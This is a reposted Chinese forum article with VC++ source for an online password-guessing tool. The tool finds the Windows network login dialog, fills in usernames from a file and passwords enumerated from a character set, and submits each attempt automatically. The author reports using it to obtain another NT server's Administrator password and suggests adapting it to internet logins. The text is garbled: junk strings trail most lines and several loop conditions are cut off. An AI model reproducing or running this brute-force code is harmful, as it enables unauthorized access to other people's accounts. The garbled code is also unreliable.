打印

[转帖] Windows网络用户登录密码的猜解

Windows网络用户登录密码的猜解

Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。  利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。
; F+ | c$ D8 ~; m, w  一、猜解过程流程:4 H7 d8 O. H6 h. X
  为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。
! C6 ^2 S, P" {5 ~# n. H  下面给出关键流程的源代码9 s# B& d/ p5 V1 p8 k! ?. K
  1. 全局变量:
* K$ r3 J7 N, d) B+ b  struct _Thread
9 ^5 E% j+ y) A2 o+ U* ]; C# @  {
0 N p" h( ?. Q6 y8 `7 a: }  CWinThread *pThread;
+ p6 ^8 R* z3 `, V  };" K% D' s0 ~) U
  _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数$ ]* o0 d; B f8 k& Z2 r% D1 i
  CEvent gEventNextPass;//取下一个密码,为实现同步引进2 L4 d) V; L, U9 Z) q$ n
  CEvent gEventPassOk;//已取得密码,为实现同步引进
& _/ f+ g0 J- W( V N, j1 i3 `  CEvent gEventNextUser;//取下一个用户名,为实现同步引进4 H: d6 o6 s. k' E, D) y
  CEvent gEventUserOk;// 已取得用户名,为实现同步引进2 J3 w6 q2 l/ J. G; j
  CMutex gMutex;//互斥量,只允许单线程访问9 I3 {; M7 p; [8 ~
  char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。0 |- p! i" V4 _$ S# i2 d [. ]% N; \
  char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名
2 ^7 n5 [8 c% k. {/ o/ j  2. 线程启动:
7 d% W, F' b' i& C, _2 x3 j! f4 O  {; ^3 e) Y4 ]0 U+ h% r* u
  file://密码枚举线程4 `& g, |% \" o7 h2 m, _
  if(PassTread[0].pThread==NULL)9 `0 X& M: ?; c
  {
& B4 F- H3 ?1 O) u: h3 N  PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,/ `5 [6 ~* g) c; S
  THREAD_PRIORITY_LOWEST);
8 P: ?$ G- B1 ` n  PassTread[0].pThread->m_bAutoDelete=TRUE;
6 o) g" d+ T+ u  file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多
0 @4 K& p @* e' D9 u& Z  }, X: k( P1 p7 u0 u- X7 g# q e
  file://用户名枚举线程
1 M5 u4 x8 n- n, o3 k' R  if(UserTread[0].pThread==NULL)+ n8 }, ^4 v5 ]0 R
  {
0 K" p: N2 B' z; u  UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,2 P# d& \, x0 I# a* z
  THREAD_PRIORITY_LOWEST);
. f" T- J$ V4 ?  PassTread[0].pThread->m_bAutoDelete=TRUE;
! r/ h K8 M& Q7 L  }
8 T( {; c: T" n3 ~# E7 p  file://窗口枚举线程
0 m8 V8 p. ?% x- y6 n  for(int i=0;i' t! k1 B4 H( S8 ?
  {
8 K, m4 ?( c H) c' S+ _1 I w' h" I  if(WindowThread.pThread==NULL){3 S6 z8 V. z( t
  WindowThread.pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,5 d" L6 s+ ?4 W( a+ P8 z' T
  THREAD_PRIORITY_LOWEST);
8 {0 v* u. y0 t+ B5 _5 V" ?  WindowThread.pThread->m_bAutoDelete=TRUE;2 N/ }9 x: u3 N8 A* a( W c+ i
  }
( L. S- T! U/ }  }

TOP

3.窗口及子窗口枚举  UINT ThreadProc(LPVOID *pPraram)6 W4 B, X2 P8 c4 a7 h. |+ n4 I
  {9 c3 t& G4 [! O; ?: ? P
  while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}
- v2 u- J7 O/ h+ v( P  return 0;
5 Z O3 m' B1 h  }1 q; Q7 @& x& H/ v
  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
/ R. z8 H4 W; m5 d/ Q; L# Y0 s  {
7 z- D$ V; B' C$ L9 N1 y  char lpWinTitle[MAX_LINELENGTH];
2 p v) x& j1 |4 Q x  ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);
+ l/ y( g& h$ [  if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名
% D9 Q+ J# H p  { gMutex.Lock(INFINITE);//防止两个线程同时操作' A' T. y: h. b4 v
  while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));
+ S! G! m& R# p  gMutex.Unlock();
% Y6 R1 S3 r' T- [- j  return FALSE;& A+ A( N4 H5 B% Z# H9 h$ }
  }
# Y1 n6 R' f. x  return TRUE;
; g% E P$ K% f: V1 z  }! R$ M& V$ G6 e
  BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)" @! R& W+ \- V" C
  {
: n4 n# s \( d" f  char sChildName[MAX_LINELENGTH];2 B8 w6 z& v2 s0 V
  ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
# L: u, c S r$ O8 {) \3 ~  file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的
4 r# Z3 g: D5 g. ]) }' \# h( k  file://各个子窗口
* w0 B% i6 w/ m l/ @" Y  // 的属性。通过对比各控件的风格或名字来区别各控件。' B" b8 o( t& B/ y- u6 G
  if(strcmp(sChildName,"Edit")==0): G. V/ Z/ E! y- Z
  {
, \; t/ ]1 K: C2 \  DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);0 w5 N0 q8 p- u" |. i: k: C
  if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件
/ _2 D( t" C7 B  {6 o/ ?" P# R) q: V: Z
  gEventNextPass.SetEvent();//发送“新密码”事件
" V/ q* N/ F2 O7 k  WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件
4 ]) H5 i: y) V$ C" T& t: A  gEventPassOk.ResetEvent(); file://复位- H8 E, L, H# e0 y& R
  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);1 X* d( d( B( t9 p5 \/ H
  file://把新密码填到密码输入框,也可用SetWindowText()
* o" ]7 }. G# e L, \: v  bPass=TRUE;//记录密码已填入
) A% u& V9 I: L6 y  if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。; _7 H q5 R2 Z" p* |: @, M
  {' i3 J* y+ Q) V t5 ]8 T
  ::SendMessage(::GetParent(hOk),WM_COMMAND,) U D( Q7 S8 k& d9 m8 D
  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));) `. Z* l7 a A' n
  file://向“确定”按钮送消息,参照ClassWizard的消息映射
7 Q. }: Z7 Z- t, f7 J' Z. p( D  bUser=FALSE;bPass=FALSE;hOk=NULL;! D$ N* ~$ E: G# l
  file://完成一次登录,初始化
; G) f: v/ `! B+ r* `6 C6 ^  return FALSE;
( s' m5 g& a) s% g9 x! U! S0 O! K  } ^( l8 O2 D; b. h, P* w9 B+ n
  return TRUE;+ Y# D$ Q9 F. c% u) @5 _7 H2 A0 v
  }
0 M! L. @3 t8 V( l1 {2 i  file://非此即彼,这是用户名输入编辑控件
, Y" v- `+ I n2 u! ~9 f8 C$ x  if((dWinSty&ES_READONLY)!=ES_READONLY)1 P6 i. k# U& k, Q( Z
  {1 ~5 C: p; i t* R, J- c
  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
d% k- a" A5 ?# J  file://把新用户名填到用户名输入框,也可用SetWindowText()
1 }' ~0 I2 l) t  bUser=TRUE;// 新用户名已填入用户名输入框
- O+ N+ O9 ]+ v7 W0 X8 J7 I* b  if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。
+ I8 g% P* P! d/ R, {  {
3 D2 g8 F& D: i$ e2 t7 E. [  ::SendMessage(::GetParent(hOk),WM_COMMAND,
) h, R- ^* L* E) E; S# G% H  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
2 O7 f. A7 j( \% i9 `  file://向“确定”按钮送消息,参照ClassWizard的消息映射 m+ S2 J2 W6 p; Z- w2 z8 [- d/ z3 w
  bUser=FALSE;bPass=FALSE;hOk=NULL;, L7 g+ H' y. I: {9 H' n2 n* N
  file://完成一次登录,初始化
. y% Y% d' ^2 x4 {$ u( i3 V) j: e/ z/ p! N  return FALSE;( O4 \" w# q/ l. k. J( z
  }( g# O# C& r. P. e, q; @% J3 P/ j3 \ N# D
  }
5 o1 v& O6 W4 k0 l5 j  return TRUE;
6 \6 {/ U6 h% t5 G1 A  }; R# P' D/ j) i+ Y! |9 ^
  file://如果是按钮控件
) x! Q/ |+ U! G  if(strcmp(sChildName,"Button")==0)
5 q. ?8 N( g6 ^+ }- Y  {' y1 |5 t) [9 l3 N
  char sChildTitle[MAX_LINELENGTH];
" H* `, P; j+ U/ J j  ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);
3 b9 m3 P0 N$ m. s7 s  if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;- c0 V% r2 C9 S9 M& s
  // sButtonOk:登录窗口中“OK”按钮的标题
! ^$ q9 c. X) S  hOk=hwnd;//记录“OK”窗口句柄
5 d8 o$ m% x% a1 B7 c. K  if(bUser&&bPass)
, M8 T* T% B# C/ J& G  {; U9 U) t3 w! l+ G5 I, K' K0 ^% {
  ::SendMessage(::GetParent(hOk),WM_COMMAND,
2 U1 o3 `( w+ I+ g( c  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));* C, z* A3 a q* r1 B% w. O
  file://向“确定”按钮送消息,参照ClassWizard的消息映射" Y# n/ E2 l7 K$ u; S. W
  bUser=FALSE;bPass=FALSE;hOk=NULL;
! V$ H+ F: ]* r9 H. Q  file://完成一次登录,初始化# _& U, R1 n2 p* b. Y" J* _
  return FALSE;
: ?& {+ n6 W ~/ ^+ C5 D. P# K  }8 j/ {8 g& j8 w0 a& V. Q% B& Z6 s
  return TRUE;, F4 J9 d& s1 d8 l( I& A
  }7 X) k) G/ ~6 u0 c4 s, }1 _8 K Z- S" Y. N
  return TRUE;9 D5 R) _8 F* n4 ~. x! {
  }

TOP

4.用户名枚举:  UINT GetNextUserF(FILE *file)
% I8 f+ l* n7 [3 F3 n  {
8 k& C2 o% Q+ Y9 W( n3 S  char cUser[MAX_LINELENGTH ],*token;
3 A8 m3 W1 m5 [+ r" p  FILE *fUser;# N& o; I; V- S6 M! k
  int i,flag=0;
9 T+ |' V' j w, g6 `" i, y( q  if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用户名的路径及文件名
v* S, R* n8 l7 U$ _2 m4 M  {. a& B' S5 t7 T! b% d b+ r
  MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);
% I6 |9 Y8 g# { T  if(fUser!=NULL)fclose(fUser);) }) [* o' E' a7 P5 m# _1 i3 N
  return 0;
9 B! U7 U/ \- Y& C. {3 S  }7 c# W6 V: I# Y, J* E6 l, z8 l a
  while(!feof(fUser))
7 b4 V E1 x: K5 x( r  {, C2 Y+ l; @* i N
  for(i=0;i
) l. S2 J+ l% S, d) K5 D, C  if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
! ^1 D$ X4 D3 N- p9 Q+ \  {( t" ~( p. M* _8 e7 h h
  bCheckUser=FALSE;//记录用户名枚举完
$ U/ l! a9 q: g$ P8 t4 U& W- Z( Q, ~  fclose(fUser);. N% y4 z8 g( c) w4 O
  return 0;3 B2 a% m" ^" t2 g
  }$ P! D1 ~1 V" m. Z+ X
  token=strtok(cUser,SETPRATE);// #define SETPRATE " \t\n\r"
4 M0 K) d0 D: @* T& }" |8 b3 B  do
: M3 D l' `, E. D: ]; c  {( e: r1 B, Y! N0 e0 m
  WaitForSingleObject(gEventNextUser,INFINITE);
) R; u* o' \. v% A6 E" ]2 s2 P; N  // 等待“新用户名”事件
$ B9 p/ T% o& j  gEventNextUser.ResetEvent();//复位。
+ B* l, d( s! u3 Y. j! t6 g  for(i=0;i
$ E/ z, |8 Y8 G# F1 U' ?  strcpy(cCurrentUser,token);//改变当前用户名。2 O5 D* C6 H* L4 p5 L$ w. V
  gEventUserOk.SetEvent();//发送“用户名完成”事件9 _5 m1 X7 W# y% K W* }' [ L, Q
  }while((token=strtok(NULL,SETPRATE))!=NULL);2 \% u: @3 M& f8 E
  }& v( _" N& b4 H9 o
  return 1;
2 H& `/ }8 f! I  }
% p- ?% U" _& p! P2 s8 a1 a/ \/ E; \  5.密码枚举:
1 q: C0 M7 K% U8 i7 V8 u  UINT GetNextPassL(LPVOID pParam)' b6 t" G1 N$ a
  {
) L0 i+ o+ ^5 `4 T  int i,j,iPre;
% O* i3 I8 o' b: h  char cBuf[MAX_PASSWORD_LENGTH];
1 ^9 X6 x; Q: q' v: p/ \/ o  BEGIN:% f1 B* {( k, @" @5 C- K
  for(int m=0;m
- Z" q' ^% }; h  {
0 d* j3 s& M3 d% E' G: d' Q3 e  file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表0 D }$ l# E/ H0 X& d2 W: S% F
  file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成7 D, ?5 J: E4 e6 r
  file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码) ?, r+ B! V. z" \" }, J u
  file://组成字符集合列表的列表
+ G. E6 I' T1 ?0 j) Q0 H% E  file://例如:4444:表示生成密码为“dddd”,. _+ A3 M! O: F
  file://4231:表示生成密码为“dbca”...... O4 K, a& o) e. c- V3 Y
  cCurrentPCList[m]= iCharCount;
+ r4 C2 V; Q; B+ x8 f2 i2 u  // iCharCount:密码组成字符的字符个数
' s. t1 _) r6 {+ e2 t) `  }3 M. m: R$ j+ L6 [) I! @
  while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束 J6 d+ o0 [7 O: Y, u3 ]2 F* k8 [
  {
& j2 |" s8 `+ M) k% b  for(int n=0;n
- T% J( I' j- H+ k7 x# L; j  while(1)3 v8 V# d0 Q J: C
  {* u1 q3 }2 d! ?8 `* n" ]* M1 r
  for(i=0;i
# ~7 c2 U8 ` y' ?9 B) M  {
/ {3 _* H' a+ s9 f: ?5 E  cBuf=cCurrentCharList[cCurrentPCList];. Q9 `% j" h7 [6 g7 z- |
  }
& e, D5 k& A! R' |( V  WaitForSingleObject(gEventNextPass,INFINITE);8 O6 n0 s1 R/ L7 {( ]
  // 等待“新密码”事件* N! \" R6 O6 l. g- v3 m
  gEventNextPass.ResetEvent();//复位。
7 f; u$ V3 f9 n! {8 M5 M  for(int n=0;n
( N P4 p M) E7 T' j  strcpy( cCurrentPass,cBuf);//改变当前密码。/ o* R6 e {8 A; B( g
  gEventPassOk.SetEvent();//送密码完成事件. _6 l4 q# Y- S2 h" W$ D
  file://进行cCurrentPCList数组的处理。% G0 `8 K! O6 n! ]* b
  if(( cCurrentPCList[i-1]--)==0)break;
/ }. A% D, t6 k! `- u5 ^2 T; R  }
3 W: i2 f5 v! f  file://最后一位复iCharCount;;
D0 _2 W5 A* q6 N  cCurrentPCList[i-1]= iCharCount;
" P, X/ m* m5 @+ I0 l: X: I4 \' `  iPre=1;//借位标志1 ~7 ]4 w E9 i. R# Y; d
  for(j=i-2;j>=0;j--)
: v- R2 H5 D& }* G& H; [) d  {) r9 r+ \5 S+ T, O; U
  if(( cCurrentPCList[j]-=iPre)<0)
0 [6 y* {3 j; k# O! }  {, k3 G8 H7 y# E! F d2 u Q7 E& b
  if(j==0)break;//结束。: l/ w5 L, ~, X+ D
  cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。
' a: ^6 |4 A! s5 C s  }
& g& A+ H% Y* n7 }8 k4 \/ ~  else {iPre=0;continue;}//不必再向上借位。) ~, i! R; M: b6 R" C9 n
  }- g3 A; [- H. s [8 E# n
  }
% h! I0 K8 ^6 x  if(cCurrentPCList[0]<=0)
( N& R8 b# v" S5 O( u  {
; s: }4 T$ ]. X. q, s6 v. P  file://复位,进入下一个循环。) K5 n$ [6 j( h; g* c! P5 S3 b
  if(!bCheckUser)//如果用户名枚举完4 o: |9 w( g* `) L: u
  {0 K+ u4 w6 `* l; b* W2 w6 f: T
  MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);
: W S. E2 x) G0 y- ?3 |  return 0;1 S: Q% G8 o, m9 w
  }
2 M4 F4 q7 K% f3 u  gEventNextUser.SetEvent();//发送“新用户名”事件
2 X8 f) N; V9 i0 i  WaitForSingleObject(gEventUserOk,INFINITE);3 S; o: W, D2 Z: S. j+ D
  file://等待“用户名完成”事件+ {( S I# u+ A/ q+ X/ A# C7 D4 S
  gEventUserOk.ResetEvent();//复位。
3 Z; b6 i2 M* g  goto BEGIN;
3 j& h2 g$ p R3 N, U  }
6 G. A/ o/ @( B" Z) X0 U7 h" b' G) Z  return 0;+ z# ]" b/ ~) {/ |1 Z
  }

7 Q" s& n% x& n9 k9 z+ S
. t: y6 I# S5 D- d+ R0 C# A二、在局域网及互连网的应用:( ?4 P, X, q$ H d* H
  笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。! N' f3 |* R F) P
  三、存在的问题及解决办法:4 H. ?/ R2 v; A; m s+ ~6 D7 Z. R
  在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。

TOP